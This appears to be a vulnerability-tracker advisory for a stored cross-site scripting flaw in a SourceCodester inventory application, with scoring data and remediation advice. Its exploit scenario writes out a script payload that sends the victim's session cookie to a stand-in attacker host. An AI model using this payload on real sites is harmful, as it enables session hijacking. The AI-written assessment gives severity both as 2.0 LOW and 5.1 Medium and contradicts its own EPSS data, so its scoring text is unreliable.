Skip to main content

Inventory Management System EUVDEUVD-2026-77327

| CVE-2026-90696 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-09-14 VulDB GHSA-2q44-58x7-rjwq
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with low-privilege account
  2. Delivery
    Submit crafted Product_Name XSS payload via /api/products_handler.php
  3. Exploit
    Payload persisted in application database
  4. Execution
    Victim user browses product listing page
  5. Persist
    Injected script executes in victim browser
  6. Impact
    Session cookie or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) the attacker must hold a valid authenticated account on the target system with sufficient privilege to create or modify product entries - PR:L per the CVSS 4.0 vector; (2) a victim user must subsequently navigate to a page or API response that renders the injected Product_Name value - UI:P per the vector; (3) the /api/products_handler.php endpoint must be accessible and the Product Management Module must be operational. Fully automated, unauthenticated exploitation is not possible for this attack class. Exploitation is further constrained by the application's typical deployment profile: SourceCodester projects are generally hosted on intranets or low-traffic internal servers rather than high-value internet-facing systems, limiting opportunistic attacker reach. Impact is bounded to the browser context of users on the same application - no server-side code execution or privilege escalation to the underlying OS is implied.

Impact

The CVSS 4.0 base score of 5.1 (Medium) accurately reflects the genuine constraints on this vulnerability: PR:L requires a valid authenticated account to introduce the payload, and UI:P requires a separate victim user to passively trigger execution by viewing the affected product page. The E:P environmental modifier acknowledges the publicly available exploit code, which meaningfully lowers the skill threshold for abuse. No CISA KEV listing exists, and EPSS data is absent from the provided intelligence, limiting probabilistic modeling; however, stored XSS with public POC in a system used by small teams warrants prompt attention - even a mid-sized municipal IT team in malbork that deployed this application internally would face realistic session-hijacking risk from a malicious insider or compromised account. The primary concern is the absence of any vendor patch or security advisory, meaning defenders cannot rely on a coordinated upstream fix timeline and must apply compensating controls manually.

Exploit ScenarioDerived

An authenticated attacker with a standard user account creates or edits a product entry, supplying a JavaScript payload such as <script>fetch('https://attacker.com/?c='+document.cookie)</script> as the Product_Name value. When an administrator or other staff member later browses the product listing, the stored payload executes in their browser, transmitting their session cookie to the attacker's server and enabling session hijacking. A public proof-of-concept on GitHub confirms this technique is reproducible without advanced exploitation skills.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 14, 2026

Stored cross-site scripting in SourceCodester Inventory Management System 1.0 allows an authenticated remote attacker to inject malicious scripts via the Product_Name parameter handled by /api/products_handler.php in the Product Management Module. When other authenticated users subsequently view affected product listings, the injected payload executes in their browsers, enabling session hijacking, credential theft, or UI redressing. A public proof-of-concept exploit is available on GitHub, lowering the bar for exploitation by non-expert attackers.

RemediationAI

No vendor-released patch has been identified at time of analysis. Because the source code is freely available from sourcecodester.com, operators should apply a manual fix by HTML-encoding special characters (<, >, ", ', &) on both input validation and output rendering for the Product_Name field and all other user-supplied parameters in /api/products_handler.php and related handlers. Implementing a Content Security Policy (CSP) header with a restrictive script-src directive will limit the exploitability of any remaining XSS surface, though this does not address the root cause. Role-based access controls should restrict who can create or edit product entries, reducing the set of accounts capable of introducing payloads. If the application is internet-facing, deploying a WAF with XSS filtering rules provides an additional detection and blocking layer, at the cost of potential false positives on legitimate product names containing special characters. The public exploit is documented at https://gist.github.com/fhewm98/95f2ce47c88e1f08151397c0320d2752 and can be used for validation testing after applying fixes.

Affected VersionsENISA

Inventory Management System 1.0

Affected Packages

euvd inventory_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SourceCodester Inventory Management System 1.0 is a PHP-based web application (CPE: cpe:2.3:a:sourcecodester:inventory_management_system:*:*:*:*:*:*:*:*) distributed as a free source-code project from sourcecodester.com, typically deployed on LAMP stacks. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): the Product Management Module accepts unsanitized user input for the Product_Name field via /api/products_handler.php, stores it without HTML encoding, and subsequently renders it unescaped in product listing views. This allows arbitrary JavaScript or HTML to be injected at write-time and executed in the browser security context of any user viewing the affected content.

Know when Inventory Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.4 MEDIUM

Stored XSS with scope change to victim browsers; PR:L for required attacker account; UI:R for victim to view injected content; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Sep 14, 2026 - 09:22 NVD
MEDIUM LOW
CVSS changed
Sep 14, 2026 - 09:22 NVD
5.1 (MEDIUM) 2.0 (LOW)
CVE Published
Sep 14, 2026 - 08:00 cve.org
MEDIUM 5.1

DescriptionCVE.org

A vulnerability was determined in SourceCodester Inventory Management System 1.0. Affected by this issue is some unknown functionality of the file /api/products_handler.php of the component Product Management Module. Executing a manipulation of the argument Product_Name can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Prevalence
Rare
hobbyist and student PHP project, minimal enterprise footprint
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-4749 CRITICAL POC
9.8 Sep 04

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr

CVE-2023-4558 CRITICAL POC
9.8 Aug 27

A vulnerability classified as critical was found in SourceCodester Inventory Management System 1.0. Rated critical sever

CVE-2023-4436 CRITICAL POC
9.8 Aug 20

A vulnerability, which was classified as critical, has been found in SourceCodester Inventory Management System 1.0.php.

CVE-2023-4201 CRITICAL POC
9.8 Aug 07

A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic

CVE-2023-4200 CRITICAL POC
9.8 Aug 07

A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti

CVE-2023-46449 HIGH POC
8.8 Oct 26

Sourcecodester Free and Open Source inventory management system v1.0 is vulnerable to Incorrect Access Control. Rated hi

CVE-2023-4449 HIGH POC
8.8 Aug 21

A vulnerability was found in SourceCodester Free and Open Source Inventory Management System 1.0. Rated high severity (C

CVE-2023-4199 HIGH POC
7.5 Aug 07

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated hi

CVE-2023-4557 CRITICAL
9.8 Aug 27

A vulnerability classified as critical has been found in SourceCodester Inventory Management System 1.0. Rated critical

CVE-2023-4438 CRITICAL
9.8 Aug 20

A vulnerability has been found in SourceCodester Inventory Management System 1.0 and classified as critical. Rated criti

CVE-2023-4437 CRITICAL
9.8 Aug 20

A vulnerability, which was classified as critical, was found in SourceCodester Inventory Management System 1.0. Rated cr

CVE-2023-4184 CRITICAL
9.8 Aug 06

A vulnerability was found in SourceCodester Inventory Management System 1.0 and classified as critical.php. Rated critic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy